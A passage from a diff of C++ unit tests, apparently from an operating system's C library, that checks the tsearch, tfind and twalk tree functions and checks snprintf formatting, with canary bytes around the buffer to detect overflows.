EXPECT_EQ(ret, root->right->left);
|
||||
ret = tsearch("8", ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->right->right);
|
||||
|
||||
// Find the root element.
|
||||
// strdup ensures that we are using the comparator.
|
||||
search = strdup("5");
|
||||
ret = tsearch(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root);
|
||||
free(search);
|
||||
|
||||
// Find the lowest-level elements.
|
||||
search = strdup("2");
|
||||
ret = tsearch(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->left->left);
|
||||
free(search);
|
||||
|
||||
search = strdup("4");
|
||||
ret = tsearch(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->left->right);
|
||||
free(search);
|
||||
|
||||
search = strdup("6");
|
||||
ret = tsearch(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->right->left);
|
||||
free(search);
|
||||
|
||||
search = strdup("8");
|
||||
ret = tsearch(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->right->right);
|
||||
free(search);
|
||||
|
||||
delete_node_recursive(root);
|
||||
}
|
||||
|
||||
TEST_CASE(tfind)
|
||||
{
|
||||
struct search_tree_node* root = nullptr;
|
||||
void* ret;
|
||||
char* search;
|
||||
|
||||
// Try a nullptr rootp.
|
||||
ret = tfind("buggie", nullptr, comparison_function);
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Search for something that doesn't exist.
|
||||
ret = tfind("buggie", ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, nullptr);
|
||||
|
||||
// Construct a tree for testing.
|
||||
root = new_tree_node("5");
|
||||
root->left = new_tree_node("3");
|
||||
root->right = new_tree_node("7");
|
||||
root->left->left = new_tree_node("2");
|
||||
root->left->right = new_tree_node("4");
|
||||
root->right->left = new_tree_node("6");
|
||||
root->right->right = new_tree_node("8");
|
||||
|
||||
// Find the root element.
|
||||
// strdup ensures that we are using the comparator.
|
||||
search = strdup("5");
|
||||
ret = tfind(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root);
|
||||
free(search);
|
||||
|
||||
// Find the lowest-level elements.
|
||||
search = strdup("2");
|
||||
ret = tfind(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->left->left);
|
||||
free(search);
|
||||
|
||||
search = strdup("4");
|
||||
ret = tfind(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->left->right);
|
||||
free(search);
|
||||
|
||||
search = strdup("6");
|
||||
ret = tfind(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->right->left);
|
||||
free(search);
|
||||
|
||||
search = strdup("8");
|
||||
ret = tfind(search, ROOTP(&root), comparison_function);
|
||||
EXPECT_EQ(ret, root->right->right);
|
||||
free(search);
|
||||
|
||||
delete_node_recursive(root);
|
||||
}
|
||||
|
||||
void twalk_action(void const* node, VISIT order, int depth);
|
||||
void twalk_action(void const* node, VISIT order, int depth)
|
||||
{
|
||||
static int count = 0;
|
||||
static const struct twalk_test_entry* tests = nullptr;
|
||||
|
||||
// Special case: Set test data.
|
||||
if (depth == TWALK_SET_DATA) {
|
||||
count = 0;
|
||||
tests = static_cast<const struct twalk_test_entry*>(node);
|
||||
return;
|
||||
}
|
||||
|
||||
// Special case: End signaled by tester.
|
||||
if (depth == TWALK_CHECK_END) {
|
||||
if (tests[count].depth != TWALK_END_MARKER) {
|
||||
FAIL(ByteString::formatted("Expected action (node={:#x}, order={}, depth={}), but twalk ended early.",
|
||||
tests[count].node, U8(tests[count].order), tests[count].depth));
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Special case: End marker reached.
|
||||
if (tests[count].depth == TWALK_END_MARKER) {
|
||||
FAIL(ByteString::formatted("Expected end, but twalk sent another action (node={:#x}, order={}, depth={}).",
|
||||
node, U8(order), depth));
|
||||
return;
|
||||
}
|
||||
|
||||
EXPECT_EQ(node, tests[count].node);
|
||||
EXPECT_EQ(U8(order), U8(tests[count].order));
|
||||
EXPECT_EQ(depth, tests[count].depth);
|
||||
|
||||
count++;
|
||||
}
|
||||
|
||||
TEST_CASE(twalk)
|
||||
{
|
||||
struct search_tree_node* root = nullptr;
|
||||
|
||||
// Try an empty tree.
|
||||
struct twalk_test_entry tests1[] = {
|
||||
{ nullptr, leaf, TWALK_END_MARKER },
|
||||
};
|
||||
twalk_action(tests1, leaf, TWALK_SET_DATA);
|
||||
twalk(nullptr, twalk_action);
|
||||
twalk_action(nullptr, leaf, TWALK_CHECK_END);
|
||||
|
||||
// Try a single node.
|
||||
root = new_tree_node("5");
|
||||
struct twalk_test_entry tests2[] = {
|
||||
{ root, leaf, 0 },
|
||||
{ nullptr, leaf, TWALK_END_MARKER },
|
||||
};
|
||||
twalk_action(tests2, leaf, TWALK_SET_DATA);
|
||||
twalk(root, twalk_action);
|
||||
twalk_action(nullptr, leaf, TWALK_CHECK_END);
|
||||
|
||||
// Try two layers of nodes.
|
||||
root->left = new_tree_node("3");
|
||||
root->right = new_tree_node("7");
|
||||
struct twalk_test_entry tests3[] = {
|
||||
{ root, preorder, 0 },
|
||||
{ root->left, leaf, 1 },
|
||||
{ root, postorder, 0 },
|
||||
{ root->right, leaf, 1 },
|
||||
{ root, endorder, 0 },
|
||||
{ nullptr, leaf, TWALK_END_MARKER },
|
||||
};
|
||||
twalk_action(tests3, leaf, TWALK_SET_DATA);
|
||||
twalk(root, twalk_action);
|
||||
twalk_action(nullptr, leaf, TWALK_CHECK_END);
|
||||
|
||||
// Try three layers of nodes.
|
||||
root->left->left = new_tree_node("2");
|
||||
root->left->right = new_tree_node("4");
|
||||
root->right->left = new_tree_node("6");
|
||||
root->right->right = new_tree_node("8");
|
||||
struct twalk_test_entry tests4[] = {
|
||||
{ root, preorder, 0 },
|
||||
{ root->left, preorder, 1 },
|
||||
{ root->left->left, leaf, 2 },
|
||||
{ root->left, postorder, 1 },
|
||||
{ root->left->right, leaf, 2 },
|
||||
{ root->left, endorder, 1 },
|
||||
{ root, postorder, 0 },
|
||||
{ root->right, preorder, 1 },
|
||||
{ root->right->left, leaf, 2 },
|
||||
{ root->right, postorder, 1 },
|
||||
{ root->right->right, leaf, 2 },
|
||||
{ root->right, endorder, 1 },
|
||||
{ root, endorder, 0 },
|
||||
{ nullptr, leaf, TWALK_END_MARKER },
|
||||
};
|
||||
twalk_action(tests4, leaf, TWALK_SET_DATA);
|
||||
twalk(root, twalk_action);
|
||||
twalk_action(nullptr, leaf, TWALK_CHECK_END);
|
||||
|
||||
delete_node_recursive(root);
|
||||
}
|
|
@ -1,363 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/ByteBuffer.h>
|
||||
#include <AK/Random.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <ctype.h>
|
||||
#include <inttypes.h>
|
||||
#include <limits.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
|
||||
|
||||
template<typename TArg>
|
||||
struct Testcase {
|
||||
char const* dest;
|
||||
size_t dest_n;
|
||||
char const* fmt;
|
||||
TArg const arg;
|
||||
int expected_return;
|
||||
char const* dest_expected;
|
||||
size_t dest_expected_n; // == dest_n
|
||||
};
|
||||
|
||||
static ByteString show(ByteBuffer const& buf)
|
||||
{
|
||||
StringBuilder builder;
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
builder.appendff("{:02x}", buf[i]);
|
||||
}
|
||||
builder.append(' ');
|
||||
builder.append('(');
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
if (isprint(buf[i]))
|
||||
builder.append(buf[i]);
|
||||
else
|
||||
builder.append('_');
|
||||
}
|
||||
builder.append(')');
|
||||
return builder.to_byte_string();
|
||||
}
|
||||
|
||||
template<typename TArg>
|
||||
static bool test_single(Testcase<TArg> const& testcase)
|
||||
{
|
||||
constexpr size_t SANDBOX_CANARY_SIZE = 8;
|
||||
|
||||
// Preconditions:
|
||||
if (testcase.dest_n != testcase.dest_expected_n) {
|
||||
warnln("dest length {} != expected dest length {}? Check testcase! (Probably miscounted.)", testcase.dest_n, testcase.dest_expected_n);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Setup
|
||||
ByteBuffer actual = ByteBuffer::create_uninitialized(SANDBOX_CANARY_SIZE + testcase.dest_n + SANDBOX_CANARY_SIZE).release_value();
|
||||
fill_with_random(actual);
|
||||
ByteBuffer expected = actual;
|
||||
VERIFY(actual.offset_pointer(0) != expected.offset_pointer(0));
|
||||
actual.overwrite(SANDBOX_CANARY_SIZE, testcase.dest, testcase.dest_n);
|
||||
expected.overwrite(SANDBOX_CANARY_SIZE, testcase.dest_expected, testcase.dest_expected_n);
|
||||
// "unsigned char" != "char", so we have to convince the compiler to allow this.
|
||||
char* dst = reinterpret_cast<char*>(actual.offset_pointer(SANDBOX_CANARY_SIZE));
|
||||
|
||||
// The actual call:
|
||||
int actual_return = snprintf(dst, testcase.dest_n, testcase.fmt, testcase.arg);
|
||||
|
||||
// Checking the results:
|
||||
bool return_ok = actual_return == testcase.expected_return;
|
||||
bool canary_1_ok = MUST(actual.slice(0, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(0, SANDBOX_CANARY_SIZE));
|
||||
bool main_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)) == MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n));
|
||||
bool canary_2_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE));
|
||||
bool buf_ok = actual == expected;
|
||||
|
||||
// Evaluate gravity:
|
||||
if (buf_ok && (!canary_1_ok || !main_ok || !canary_2_ok)) {
|
||||
warnln("Internal error! ({} != {} | {} | {})", buf_ok, canary_1_ok, main_ok, canary_2_ok);
|
||||
buf_ok = false;
|
||||
}
|
||||
if (!canary_1_ok) {
|
||||
warnln("Canary 1 overwritten: Expected {}\n"
|
||||
" instead got {}",
|
||||
show(MUST(expected.slice(0, SANDBOX_CANARY_SIZE))),
|
||||
show(MUST(actual.slice(0, SANDBOX_CANARY_SIZE))));
|
||||
}
|
||||
if (!main_ok) {
|
||||
warnln("Wrong output: Expected {}\n"
|
||||
" instead, got {}",
|
||||
show(MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))),
|
||||
show(MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))));
|
||||
}
|
||||
if (!canary_2_ok) {
|
||||
warnln("Canary 2 overwritten: Expected {}\n"
|
||||
" instead, got {}",
|
||||
show(MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))),
|
||||
show(MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))));
|
||||
}
|
||||
if (!return_ok) {
|
||||
warnln("Wrong return value: Expected {}, got {} instead!", testcase.expected_return, actual_return);
|
||||
}
|
||||
|
||||
return buf_ok && return_ok;
|
||||
}
|
||||
|
||||
// Drop the NUL terminator added by the C++ compiler.
|
||||
#define LITERAL(x) x, (sizeof(x) - 1)
|
||||
|
||||
static char const* const POISON = (char const*)1;
|
||||
|
||||
TEST_CASE(golden_path)
|
||||
{
|
||||
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0\0\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0\0\0"), "Hello %s!", "Friend", 13, LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("aaaaaaaaaa"), "whf", POISON, 3, LITERAL("whf\0aaaaaa") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("aaaaaaaaaa"), "w%sf", "h", 3, LITERAL("whf\0aaaaaa") }));
|
||||
}
|
||||
|
||||
TEST_CASE(border_cases)
|
||||
{
|
||||
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend!\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("AAAA"), "whf", POISON, 3, LITERAL("whf\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("AAAA"), "%s", "whf", 3, LITERAL("whf\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(too_long)
|
||||
{
|
||||
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0"), "This source is %s too long!", "just *way*", 35, LITERAL("This source \0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("x"), "This source is %s too long!", "just *way*", 35, LITERAL("\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(special_cases)
|
||||
{
|
||||
EXPECT(test_single<char const*>({ LITERAL(""), "Hello Friend!", POISON, 13, LITERAL("") }));
|
||||
EXPECT_EQ(snprintf(nullptr, 0, "Hello, friend!"), 14);
|
||||
EXPECT(test_single<char const*>({ LITERAL(""), "", POISON, 0, LITERAL("") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("x"), "", POISON, 0, LITERAL("\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("xx"), "", POISON, 0, LITERAL("\0x") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("xxx"), "", POISON, 0, LITERAL("\0xx") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL(""), "whf", POISON, 3, LITERAL("") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("x"), "whf", POISON, 3, LITERAL("\0") }));
|
||||
EXPECT(test_single<char const*>({ LITERAL("xx"), "whf", POISON, 3, LITERAL("w\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(octal_values)
|
||||
{
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5o|", 017, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5o|", 01000, 12, LITERAL("| 01000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5o|", 010000, 12, LITERAL("| 010000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5o|", 017, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5o|", 017, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5o|", 017, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5o|", 017, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010o|", 017, 12, LITERAL("|0000000017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10o|", 017, 12, LITERAL("| 17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxx\0"), "|%.5o|", 017, 7, LITERAL("|00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.1o|", 017, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.0o|", 017, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%.0o|", 00, 2, LITERAL("||\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.0o|", 00, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%#.0o|", 01, 4, LITERAL("|01|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.1o|", 00, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%#.1o|", 01, 4, LITERAL("|01|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%o|", 00, 3, LITERAL("|0|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(decimal_values)
|
||||
{
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5d|", 17, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10.5d|", 17, 12, LITERAL("| +00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5d|", -17, 12, LITERAL("| -00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10.5d|", -17, 12, LITERAL("| -00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5d|", 17, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+-10.5d|", 17, 12, LITERAL("|+00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+-10.5d|", -17, 12, LITERAL("|-00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5d|", -17, 12, LITERAL("|-00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5d|", 17, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5d|", 17, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", 17, 12, LITERAL("|0000000017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010d|", 17, 12, LITERAL("|+000000017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", -17, 12, LITERAL("|-000000017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", 170000000, 12, LITERAL("|0170000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010d|", 170000000, 12, LITERAL("|+170000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10d|", -170000000, 12, LITERAL("|-170000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10d|", -170000000, 12, LITERAL("|-170000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", 1700000000, 12, LITERAL("|1700000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx\0"), "|%+010d|", 1700000000, 13, LITERAL("|+1700000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx\0"), "|%10d|", -1700000000, 13, LITERAL("|-1700000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx\0"), "|%+10d|", -1700000000, 13, LITERAL("|-1700000000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10d|", 17, 12, LITERAL("| 17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10d|", 17, 12, LITERAL("| +17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10d|", -17, 12, LITERAL("| -17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxx\0"), "|%.5d|", 17, 7, LITERAL("|00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.1d|", 17, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.0d|", 17, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%.0d|", 0, 2, LITERAL("||\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%+.0d|", 0, 3, LITERAL("|+|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.1d|", 0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%d|", 0, 3, LITERAL("|0|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(unsigned_decimal_values)
|
||||
{
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5u|", 17, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10.5u|", 17, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5u|", 17, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+-10.5u|", 17, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5u|", 17, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5u|", 17, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010u|", 17, 12, LITERAL("|0000000017|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010u|", 17, 12, LITERAL("|0000000017|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010u|", 170000000, 12, LITERAL("|0170000000|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010u|", 170000000, 12, LITERAL("|0170000000|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010u|", 1700000000, 12, LITERAL("|1700000000|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010u|", 1700000000, 12, LITERAL("|1700000000|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10u|", 17, 12, LITERAL("| 17|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10u|", 17, 12, LITERAL("| 17|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxx\0"), "|%.5u|", 17, 7, LITERAL("|00017|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxx\0"), "|%.1u|", 17, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxxx\0"), "|%.0u|", 17, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xx\0"), "|%.0u|", 0, 2, LITERAL("||\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xx\0"), "|%+.0u|", 0, 2, LITERAL("||\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxx\0"), "|%#.1u|", 0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<unsigned int>({ LITERAL("xxx\0"), "|%u|", 0, 3, LITERAL("|0|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(hexadecimal_values)
|
||||
{
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5X|", 0xab, 12, LITERAL("| 000AB|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5X|", 0xab, 12, LITERAL("| 0x000AB|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0xab, 12, LITERAL("| 000ab|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5x|", 0xab, 12, LITERAL("| 0x000ab|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0x1000, 12, LITERAL("| 01000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5x|", 0x1000, 12, LITERAL("| 0x01000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0x10000, 12, LITERAL("| 10000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5x|", 0x10000, 12, LITERAL("| 0x10000|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0x17, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-#10.5x|", 0x17, 12, LITERAL("|0x00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5x|", 0x17, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5x|", 0x17, 12, LITERAL("|00017 |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5x|", 0x17, 12, LITERAL("| 00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010x|", 0x17, 12, LITERAL("|0000000017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#010x|", 0x17, 12, LITERAL("|0x00000017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10x|", 0x17, 12, LITERAL("| 17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10x|", 0x17, 12, LITERAL("| 0x17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxx\0"), "|%.5x|", 0x17, 7, LITERAL("|00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxxxxx\0"), "|%#.5x|", 0x17, 9, LITERAL("|0x00017|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.1x|", 0x17, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.0x|", 0x17, 4, LITERAL("|17|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%.0x|", 0x0, 2, LITERAL("||\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%#.0x|", 0x0, 2, LITERAL("||\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%4.0x|", 0x0, 6, LITERAL("| |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%04.0x|", 0x0, 6, LITERAL("| |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%#4.0x|", 0x0, 6, LITERAL("| |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%#04.0x|", 0x0, 6, LITERAL("| |\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxx\0"), "|%#.0x|", 0x1, 5, LITERAL("|0x1|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.1x|", 0x0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%.1x|", 0x0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%x|", 0x0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxxxx\0"), "|%#.1x|", 0x1, 5, LITERAL("|0x1|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%x|", 0, 3, LITERAL("|0|\0") }));
|
||||
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#x|", 0, 3, LITERAL("|0|\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(inttypes_macros)
|
||||
{
|
||||
EXPECT(test_single<uint8_t>({ LITERAL("xxxxx"), "|%" PRIx8 "|", 0xAB, 4, LITERAL("|ab|\0") }));
|
||||
EXPECT(test_single<uint8_t>({ LITERAL("xxxxx"), "|%" PRIX8 "|", 0xAB, 4, LITERAL("|AB|\0") }));
|
||||
EXPECT(test_single<uint16_t>({ LITERAL("xxxxxxx"), "|%" PRIx16 "|", 0xC0DE, 6, LITERAL("|c0de|\0") }));
|
||||
